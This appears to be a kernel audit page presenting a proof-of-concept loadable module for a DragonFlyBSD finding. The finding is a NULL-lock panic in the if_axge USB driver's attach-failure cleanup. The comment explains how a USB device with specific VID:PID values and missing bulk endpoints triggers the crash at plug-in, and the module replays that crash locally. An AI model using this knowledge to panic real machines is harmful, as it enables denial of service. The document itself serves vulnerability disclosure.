⬢ DragonFlyBSD Kernel Audit
DF-5395 / axge_attach_poc.c
← back to finding ↓ download raw
/*
 * DF-5395 PoC harness -- if_axge.c attach-failure DF-5334/DF-5384-class panic.
 *
 * Target: sys/bus/u4b/net/if_axge.c axge_attach() failure branches:
 *
 *   550:   lockinit(&sc->sc_lock, device_get_nameunit(dev), 0, LK_CANRECURSE);
 *   552:   iface_index = AXGE_IFACE_IDX;
 *   553:   error = usbd_transfer_setup(uaa->device, &iface_index,
 *   554:       sc->sc_xfer, axge_config, AXGE_N_TRANSFER, sc, &sc->sc_lock);
 *   555:   if (error) {
 *   556:           device_printf(dev, "allocating USB transfers failed\n");
 *   557:           goto detach;
 *   558:   }
 *   ...
 *   566:   error = uether_ifattach(ue);
 *   567:   if (error) {
 *   568:           device_printf(dev, "could not attach interface\n");
 *   569:           goto detach;
 *   570:   }
 *   ...
 *   573: detach:
 *   574:   axge_detach(dev);
 *   575:   return (ENXIO);                 (failure)
 *
 * axge_detach() (if_axge.c:579-591) then runs, in order:
 *
 *   586:   usbd_transfer_unsetup(sc->sc_xfer, AXGE_N_TRANSFER);
 *   587:   uether_ifdetach(ue);
 *
 * but on the transfer-setup failure branch every ue field that
 * uether_ifdetach() needs is still ALL ZERO (they are assigned only at
 * if_axge.c:560-564, AFTER the failing usbd_transfer_setup()).
 * uether_ifdetach() (sys/bus/u4b/net/usb_ethernet.c:267-305):
 *
 *   273:   usb_proc_drain(&ue->ue_tq);        <- no-op, up_lock == NULL
 *   276:   ifp = uether_getifp(ue);           <- embedded arpcom ifnet, NEVER NULL
 *   278:   if (ifp != NULL) {                 <- dead guard, always true
 *   281:       UE_LOCK(ue);                   <- lockmgr(NULL, LK_EXCLUSIVE)
 *                                              ==> Fatal trap 12, fault VA 0x0
 *
 * The trigger is fully device-controlled: any USB device presenting one of
 * the 4 VID:PID pairs in axge_devs[] (ASIX AX88179 0b95:1790, AX88178A
 * 0b95:178a, D-Link DUB1312 2001:4a00, Sitecom LN032 0df6:062c) at config
 * index 0 / iface 0 but WITHOUT the bulk-in/out endpoints the driver's
 * axge_config[] requires makes usbd_transfer_setup() fail
 * (USB_ERR_NO_ENDPOINT / USB_ERR_NO_PIPE) at plug-in.
 *
 * On the second branch (uether_ifattach() error -- usb_proc_create()
 * ENOMEM only) ue->ue_lock is valid, so the flow runs further:
 * usb_callout_drain() on a never-usb_callout_init()ed watchdog and
 * ether_ifdetach() on a never-ether_ifattach()ed ifnet ->
 * ifindex2ifnet[0] nulling + global ifnet list corruption + double
 * devfs_clone_bitmap_put() of ue_unit.  Same root cause, not
 * attacker-timed.
 *
 * This KLD replays axge_detach() verbatim on that exact post-failure state
 * using the production usbd_transfer_unsetup() and uether_ifdetach()
 * (exported by uether.ko).  The only non-production code is the static
 * axge_attach()/axge_detach() plumbing itself (they are static in
 * if_axge.c, unreachable without a physical AX88179; the failure branch
 * reaches them through a plain goto).
 */

#include <sys/stdint.h>
#include <sys/param.h>
#include <sys/queue.h>
#include <sys/types.h>
#include <sys/systm.h>
#include <sys/socket.h>
#include <sys/kernel.h>
#include <sys/bus.h>
#include <sys/module.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/sysctl.h>
#include <sys/unistd.h>
#include <sys/callout.h>
#include <sys/malloc.h>
#include <sys/caps.h>

#include <net/if.h>
#include <net/if_var.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usb_process.h>

#include <bus/u4b/net/usb_ethernet.h>
#include <bus/u4b/net/if_axgereg.h>

static int
axge_poc_modevent(module_t mod, int type, void *arg)
{
	struct axge_softc *sc;

	switch (type) {
	case MOD_LOAD:
		kprintf("axge_poc: constructing post-'allocating USB "
		    "transfers failed' state (if_axge.c:553-558)\n");
		sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO);
		if (sc == NULL)
			return (ENOMEM);
		/* if_axge.c:550: the only softc initialisation before the
		 * failing usbd_transfer_setup() at if_axge.c:553 */
		lockinit(&sc->sc_lock, "axge_poc", 0, LK_CANRECURSE);
		kprintf("axge_poc: state check: ue_lock=%p ue_dev=%p "
		    "ue_udev=%p ue_tq.up_lock=%p (all must be 0/NULL)\n",
		    sc->sc_ue.ue_lock, (void *)sc->sc_ue.ue_dev,
		    sc->sc_ue.ue_udev, sc->sc_ue.ue_tq.up_lock);
		kprintf("axge_poc: entering axge_detach() replay: "
		    "usbd_transfer_unsetup() + uether_ifdetach() "
		    "(if_axge.c:586-587)\n");

		/* if_axge.c:586 -- production code, zeroed xfer array == branch-1 */
		usbd_transfer_unsetup(sc->sc_xfer, AXGE_N_TRANSFER);

		/* if_axge.c:587 -> uether_ifdetach() -> UE_LOCK(ue) ->
		 * lockmgr(NULL, LK_EXCLUSIVE) -> Fatal trap 12, VA 0x0 */
		uether_ifdetach(&sc->sc_ue);

		kprintf("axge_poc: SURVIVED uether_ifdetach() (UNEXPECTED -- "
		    "guard present?)\n");
		lockuninit(&sc->sc_lock);
		kfree(sc, M_TEMP);
		return (0);
	default:
		return (0);
	}
}

static moduledata_t axge_poc_mod = { "axge_poc", axge_poc_modevent, NULL };
DECLARE_MODULE(axge_poc, axge_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(axge_poc, uether, 1, 1, 1);